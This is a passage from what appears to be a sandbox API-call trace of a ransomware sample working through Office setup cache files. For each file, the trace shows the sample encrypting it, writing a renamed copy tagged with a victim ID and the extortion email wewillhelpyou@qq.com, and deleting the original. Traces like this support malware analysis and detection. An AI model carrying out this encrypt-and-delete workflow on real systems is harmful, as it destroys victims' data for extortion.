DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C\\Office64MUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-0116-0409-1000-0000000ff1ce}-c\\office64mui.xml")) returned 1 [0054.320] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0054.320] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C\\Office64MUISet.xml" (normalized: "c:\\msocache\\all users\\{90160000-0116-0409-1000-0000000ff1ce}-c\\office64muiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0054.321] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=1036) returned 1 [0054.321] CloseHandle (hObject=0x190) returned 1 [0054.321] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C\\Office64MUISet.xml" (normalized: "c:\\msocache\\all users\\{90160000-0116-0409-1000-0000000ff1ce}-c\\office64muiset.xml")) returned 0x2020 [0054.321] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C\\Office64MUISet.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0116-0409-1000-0000000ff1ce}-c\\office64muiset.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0054.321] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C\\Office64MUISet.xml" (normalized: "c:\\msocache\\all users\\{90160000-0116-0409-1000-0000000ff1ce}-c\\office64muiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0054.321] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0054.322] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0054.322] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C\\Office64MUISet.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0116-0409-1000-0000000ff1ce}-c\\office64muiset.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0054.322] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbd8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc34 | out: phKey=0x334fc34*=0x4d8860) returned 1 [0054.322] CryptSetKeyParam (hKey=0x4d8860, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0054.322] ReadFile (in: hFile=0x190, lpBuffer=0x39b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x334fc5c, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesRead=0x334fc5c*=0x40c, lpOverlapped=0x0) returned 1 [0054.323] CryptEncrypt (in: hKey=0x4d8860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x410, dwBufLen=0x410 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x410) returned 1 [0054.323] WriteFile (in: hFile=0x174, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0x410, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0x410, lpOverlapped=0x0) returned 1 [0054.324] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbcc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc38 | out: phKey=0x334fc38*=0x4d88e0) returned 1 [0054.324] CryptSetKeyParam (hKey=0x4d88e0, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0054.324] CryptEncrypt (in: hKey=0x4d88e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x50, dwBufLen=0x50 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x50) returned 1 [0054.324] CryptDestroyKey (hKey=0x4d88e0) returned 1 [0054.324] WriteFile (in: hFile=0x174, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0x102, lpOverlapped=0x0) returned 1 [0054.325] CryptDestroyKey (hKey=0x4d8860) returned 1 [0054.325] CloseHandle (hObject=0x190) returned 1 [0054.325] CloseHandle (hObject=0x174) returned 1 [0054.326] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C\\Office64MUISet.xml" (normalized: "c:\\msocache\\all users\\{90160000-0116-0409-1000-0000000ff1ce}-c\\office64muiset.xml")) returned 1 [0054.327] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0054.327] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0116-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0054.329] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3122) returned 1 [0054.329] CloseHandle (hObject=0x174) returned 1 [0054.329] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0116-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0054.329] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C\\Setup.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0116-0409-1000-0000000ff1ce}-c\\setup.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0054.329] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0116-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0054.329] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0054.329] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0054.329] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C\\Setup.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0116-0409-1000-0000000ff1ce}-c\\setup.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0054.329] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbd8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc34 | out: phKey=0x334fc34*=0x4d8860) returned 1 [0054.329] CryptSetKeyParam (hKey=0x4d8860, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0054.329] ReadFile (in: hFile=0x174, lpBuffer=0x39b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x334fc5c, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesRead=0x334fc5c*=0xc32, lpOverlapped=0x0) returned 1 [0054.331] CryptEncrypt (in: hKey=0x4d8860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0xc40, dwBufLen=0xc40 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0xc40) returned 1 [0054.331] WriteFile (in: hFile=0x190, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0xc40, lpOverlapped=0x0) returned 1 [0054.332] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbcc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc38 | out: phKey=0x334fc38*=0x4d88e0) returned 1 [0054.332] CryptSetKeyParam (hKey=0x4d88e0, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0054.332] CryptEncrypt (in: hKey=0x4d88e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x40, dwBufLen=0x40 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x40) returned 1 [0054.332] CryptDestroyKey (hKey=0x4d88e0) returned 1 [0054.332] WriteFile (in: hFile=0x190, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0xf2, lpOverlapped=0x0) returned 1 [0054.332] CryptDestroyKey (hKey=0x4d8860) returned 1 [0054.332] CloseHandle (hObject=0x174) returned 1 [0054.332] CloseHandle (hObject=0x190) returned 1 [0054.334] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0116-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0054.335] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0054.335] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-0117-0409-0000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0054.336] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=1449) returned 1 [0054.336] CloseHandle (hObject=0x190) returned 1 [0054.336] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-0117-0409-0000-0000000ff1ce}-c\\access.en-us\\accessmui.xml")) returned 0x2020 [0054.336] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0117-0409-0000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0054.336] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-0117-0409-0000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0054.336] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0054.336] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0054.337] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0117-0409-0000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0054.337] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbd8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc34 | out: phKey=0x334fc34*=0x4d8860) returned 1 [0054.337] CryptSetKeyParam (hKey=0x4d8860, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0054.337] ReadFile (in: hFile=0x190, lpBuffer=0x39b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x334fc5c, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesRead=0x334fc5c*=0x5a9, lpOverlapped=0x0) returned 1 [0054.557] CryptEncrypt (in: hKey=0x4d8860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x5b0) returned 1 [0054.557] WriteFile (in: hFile=0x174, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0x5b0, lpOverlapped=0x0) returned 1 [0054.558] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbcc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc38 | out: phKey=0x334fc38*=0x4d88a0) returned 1 [0054.558] CryptSetKeyParam (hKey=0x4d88a0, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0054.558] CryptEncrypt (in: hKey=0x4d88a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x40, dwBufLen=0x40 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x40) returned 1 [0054.558] CryptDestroyKey (hKey=0x4d88a0) returned 1 [0054.558] WriteFile (in: hFile=0x174, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0xf2, lpOverlapped=0x0) returned 1 [0054.558] CryptDestroyKey (hKey=0x4d8860) returned 1 [0054.558] CloseHandle (hObject=0x190) returned 1 [0054.558] CloseHandle (hObject=0x174) returned 1 [0054.560] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-0117-0409-0000-0000000ff1ce}-c\\access.en-us\\accessmui.xml")) returned 1 [0054.561] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0054.561] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90160000-0117-0409-0000-0000000ff1ce}-c\\accessmuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0054.562] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=1032) returned 1 [0054.562] CloseHandle (hObject=0x174) returned 1 [0054.562] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90160000-0117-0409-0000-0000000ff1ce}-c\\accessmuiset.xml")) returned 0x2020 [0054.562] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\AccessMUISet.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0117-0409-0000-0000000ff1ce}-c\\accessmuiset.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0054.562] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90160000-0117-0409-0000-0000000ff1ce}-c\\accessmuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0054.562] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0054.562] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0054.563] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\AccessMUISet.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0117-0409-0000-0000000ff1ce}-c\\accessmuiset.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0054.563] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbd8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc34 | out: phKey=0x334fc34*=0x4d8860) returned 1 [0054.563] CryptSetKeyParam (hKey=0x4d8860, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0054.563] ReadFile (in: hFile=0x174, lpBuffer=0x39b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x334fc5c, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesRead=0x334fc5c*=0x408, lpOverlapped=0x0) returned 1 [0054.565] CryptEncrypt (in: hKey=0x4d8860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x410, dwBufLen=0x410 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x410) returned 1 [0054.565] WriteFile (in: hFile=0x190, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0x410, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0x410, lpOverlapped=0x0) returned 1 [0054.565] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbcc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc38 | out: phKey=0x334fc38*=0x4d88a0) returned 1 [0054.566] CryptSetKeyParam (hKey=0x4d88a0, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0054.566] CryptEncrypt (in: hKey=0x4d88a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x50, dwBufLen=0x50 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x50) returned 1 [0054.566] CryptDestroyKey (hKey=0x4d88a0) returned 1 [0054.566] WriteFile (in: hFile=0x190, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0x102, lpOverlapped=0x0) returned 1 [0054.566] CryptDestroyKey (hKey=0x4d8860) returned 1 [0054.566] CloseHandle (hObject=0x174) returned 1 [0054.566] CloseHandle (hObject=0x190) returned 1 [0054.568] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90160000-0117-0409-0000-0000000ff1ce}-c\\accessmuiset.xml")) returned 1 [0054.569] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0054.569] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0117-0409-0000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0054.569] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=2584) returned 1 [0054.569] CloseHandle (hObject=0x190) returned 1 [0054.569] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0117-0409-0000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0054.570] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Setup.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0117-0409-0000-0000000ff1ce}-c\\setup.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0054.570] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0117-0409-0000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0054.570] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0054.570] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0054.570] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Setup.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0117-0409-0000-0000000ff1ce}-c\\setup.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0054.570] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbd8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc34 | out: phKey=0x334fc34*=0x4d8860) returned 1 [0054.570] CryptSetKeyParam (hKey=0x4d8860, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0054.570] ReadFile (in: hFile=0x190, lpBuffer=0x39b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x334fc5c, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesRead=0x334fc5c*=0xa18, lpOverlapped=0x0) returned 1 [0054.572] CryptEncrypt (in: hKey=0x4d8860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0xa20, dwBufLen=0xa20 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0xa20) returned 1 [0054.572] WriteFile (in: hFile=0x174, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0xa20, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0xa20, lpOverlapped=0x0) returned 1 [0054.573] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbcc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc38 | out: phKey=0x334fc38*=0x4d88a0) returned 1 [0054.573] CryptSetKeyParam (hKey=0x4d88a0, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0054.573] CryptEncrypt (in: hKey=0x4d88a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x40, dwBufLen=0x40 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x40) returned 1 [0054.573] CryptDestroyKey (hKey=0x4d88a0) returned 1 [0054.573] WriteFile (in: hFile=0x174, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0xf2, lpOverlapped=0x0) returned 1 [0054.573] CryptDestroyKey (hKey=0x4d8860) returned 1 [0054.573] CloseHandle (hObject=0x190) returned 1 [0054.573] CloseHandle (hObject=0x174) returned 1 [0054.574] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0117-0409-0000-0000000ff1ce}-c\\setup.xml")) returned 1 [0054.575] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0054.575] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-012B-0409-0000-0000000FF1CE}-C\\LyncMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-012b-0409-0000-0000000ff1ce}-c\\lyncmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0054.576] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=1227) returned 1 [0054.576] CloseHandle (hObject=0x174) returned 1 [0054.576] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-012B-0409-0000-0000000FF1CE}-C\\LyncMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-012b-0409-0000-0000000ff1ce}-c\\lyncmui.xml")) returned 0x2020 [0054.576] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-012B-0409-0000-0000000FF1CE}-C\\LyncMUI.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-012b-0409-0000-0000000ff1ce}-c\\lyncmui.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0054.576] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-012B-0409-0000-0000000FF1CE}-C\\LyncMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-012b-0409-0000-0000000ff1ce}-c\\lyncmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0054.576] 